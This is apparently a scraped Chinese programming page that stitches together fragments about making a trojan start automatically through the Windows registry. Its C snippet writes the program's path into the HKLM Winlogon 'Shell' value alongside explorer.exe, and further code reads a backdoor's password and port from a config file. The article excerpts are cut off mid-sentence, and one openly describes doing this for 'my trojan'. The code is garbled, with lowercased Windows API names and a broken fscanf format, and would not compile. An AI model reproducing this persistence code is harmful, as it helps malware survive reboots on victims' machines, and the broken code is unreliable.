//將自己開機啟動寫入登錄檔
char reg_value[max_path + 16];//因為vc6中sprintf函式中reg_value只認char,所以不能定義為想要的lpbyte了。
sprintf(reg_value,"explorer.exe %s",target_path);
hkey key;
lpcstr sub_key="software//microsoft//windows nt//currentversion//winlogon";
regopenkeyex(hkey_local_machine,sub_key,0,key_write,&key);
lpbyte reg_value1=(lpbyte)reg_value;
regsetvalueex(key,"shell",0,reg_sz,reg_value1,strlen(reg_value));
regclosekey(key);
讀取配置檔案到程式中,
定義變數,
int g_password = 123;預設值,在配置檔案為空或者沒有配置檔案時取值
int g_port = 1234;預設值,同上
實現讀取
file *fp =fopen(g_option_file_name,"r");以唯讀許可權開啟
fscanf(fp,"password="%s/r/n",g_password);
fscanf(fp,"local_port=%d",g_port);
fclose(fp);
通過登錄檔實現開機自啟動
實現開機自啟動的途徑和方式有很多種,其中修改登錄檔方式應用最為廣泛。登錄檔相當是作業系統的資料庫,記錄著系統中方方面面的資料,其中也不乏直接或間接導致開機自啟動的資料。windows提供了專門的開機自啟動登錄檔。在每次開機完成後,它都會在這個登錄檔鍵下遍歷鍵值,以獲取鍵值中的程式路徑,並建立程序啟動...
登錄檔操作之自啟動
登錄檔是windows系統的核心配置檔案。一般我們安裝木馬時會向登錄檔中寫入一些關於自身程式的有關資訊。例如我的木馬中就是講ip位址 埠等資訊寫入登錄檔中。這裡我們通過修改登錄檔來實現木馬的自啟動。下面給出兩個設定登錄檔鍵值的函式,以後會經常用到 修改字串型別鍵值 bool createstring...
自啟動技術之登錄檔
核心 windows提供了專門的開機自啟動登錄檔。每次開機完成之後,它都會在這個登錄檔鍵下遍歷鍵值,以獲取鍵值中的程式路徑,並建立程序啟動程式。所以想要使用登錄檔實現自啟動,只需要在這個登錄檔鍵下新增想要設定自啟動程式的程式路徑就可以了。倆種修改方案 主要區別就是主鍵不同。hkey current ...